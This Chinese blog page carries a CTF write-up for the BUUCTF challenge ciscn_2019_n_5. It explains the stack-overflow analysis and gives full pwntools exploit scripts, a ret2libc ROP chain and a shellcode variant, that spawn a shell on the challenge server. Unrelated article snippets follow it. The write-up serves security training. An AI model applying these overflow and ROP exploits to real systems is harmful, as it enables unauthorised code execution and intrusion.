news 2026/5/26 5:42:27

buuctf中的ciscn_2019_n_5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的ciscn_2019_n_5

首先checksec检查保护状态:

-64位程序

-几乎没有保护,但是是NX保护未知,后续需要验证

接下来使用IDA反汇编工具进行分析:

没发现任何后门函数,那么只能是注入shellcode或泄露libc,这里发现第一个read可以输入数据到name变量中,然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode

想要注入shellcode这里得来验证一下name内存地址的权限:

-拿到name在bss段的地址

在gdb中输入vmmap 0x601080:

发现这段内存地址只有读写功能,不可执行,shellcode注入不可用

那么只剩libc泄露可用了,这里需要用到rdi和ret的地址,在linux终端输入以下指令:

ROPgadget --binary pwn --only "pop|ret"

ret地址:0x00000000004004c9,rdi地址:0x0000000000400713,其中ret用于栈对齐,rdi用于构造ROP链调用函数

然后再在IDA中拿到main函数地址:0x400636

基本信息拿完后就可以开始写exp攻击脚本了:

由于这里shellcode注入不可用,使用第一个read读取内容到name那里的那一行代码已经没有用处了,随便输入一个字符都行,接下来就是进行两次栈溢出,第一次将puts的地址泄露出来,配合LibcSearcher找到libc库,算出libc基址,然后得到system和/bin/sh地址,第二次栈溢出在注入system函数就可以拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 main_addr = 0x400636 rdi_addr = 0x400713 ret_addr = 0x4004c9 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b'What do you want to say to me?\n',payload) puts_addr = u64(io.recvline().strip().ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil(b'What do you want to say to me?\n') io.sendline(payload) io.interactive()

这是运行结果:

这里需要手动选择libc库,64位程序就选择64位的libc库,这里有可能会选到不适配的libc,多选几次就可用了,最后拿到shell后输入cat flag拿到flag

最后,如果变量name的那段内存地址有执行权限的话exp会简单得多,这是代码:

基本思路就是在name的内存地址中注入shellcode,然后再跳转到变量name那段内存地址中执行shellcode

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 aim_addr = 0x601080 shellcode = asm(shellcraft.sh()) io.recvuntil(b'tell me your name\n') io.sendline(shellcode) io.recvuntil(b'What do you want to say to me?\n') payload = b'a'*40 + p64(aim_addr) io.sendline(payload) io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/25 23:09:56

3分钟原型开发:用maven-assembly-plugin快速验证想法

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个快速演示用的Spring Boot API原型:1)内置H2数据库和示例数据 2)包含Swagger文档 3)打包为自带JRE的Windows/Linux双版本 4)集成简单的压力测试脚本。请提供完整…

作者头像 李华
网站建设 2026/5/25 8:49:05

爱创猫外卖省钱,日常干饭超划算

外卖网购“隐形刺客”太多?这份AI省钱攻略,让你每月轻松省下几百块你有没有算过,每个月点外卖和网购花了多少钱?工资刚发没几天,一看账单,几百上千就这么不知不觉溜走了。不是不想省,而是面对满…

作者头像 李华
网站建设 2026/5/24 9:25:41

基于SpringBoot实现的冬奥会科普平台设计与实现【源码+文档】

系统介绍基于SpringBootVue实现的冬奥会科普平台采用前后端分离架构方式,系统设计了管理员、用户两种角色,系统实现了用户登录与注册、个人中心、用户管理、项目类型管理、冬奥会项目管理、精彩视频管理、冬奥论坛、冬奥新闻、轮播图管理等功能。技术选型…

作者头像 李华
网站建设 2026/5/25 3:44:55

Windows终极指南:轻松实现Mac触控板完美兼容

Windows终极指南:轻松实现Mac触控板完美兼容 【免费下载链接】mac-precision-touchpad Windows Precision Touchpad Driver Implementation for Apple MacBook / Magic Trackpad 项目地址: https://gitcode.com/gh_mirrors/ma/mac-precision-touchpad 想让Wi…

作者头像 李华
网站建设 2026/5/25 0:36:04

WinCDEmu虚拟光驱:告别物理光盘的智能解决方案

WinCDEmu虚拟光驱:告别物理光盘的智能解决方案 【免费下载链接】WinCDEmu 项目地址: https://gitcode.com/gh_mirrors/wi/WinCDEmu 还在为找不到光驱而烦恼吗?当您下载了重要的ISO镜像文件,却因为没有光驱而无法使用时,那…

作者头像 李华
网站建设 2026/5/24 14:20:31

实战指南:5分钟掌握Clipper2多边形裁剪库的核心用法

实战指南:5分钟掌握Clipper2多边形裁剪库的核心用法 【免费下载链接】Clipper2 Polygon Clipping and Offsetting - C, C# and Delphi 项目地址: https://gitcode.com/gh_mirrors/cl/Clipper2 Clipper2是一款高效的开源几何运算库,专注于多边形裁…

作者头像 李华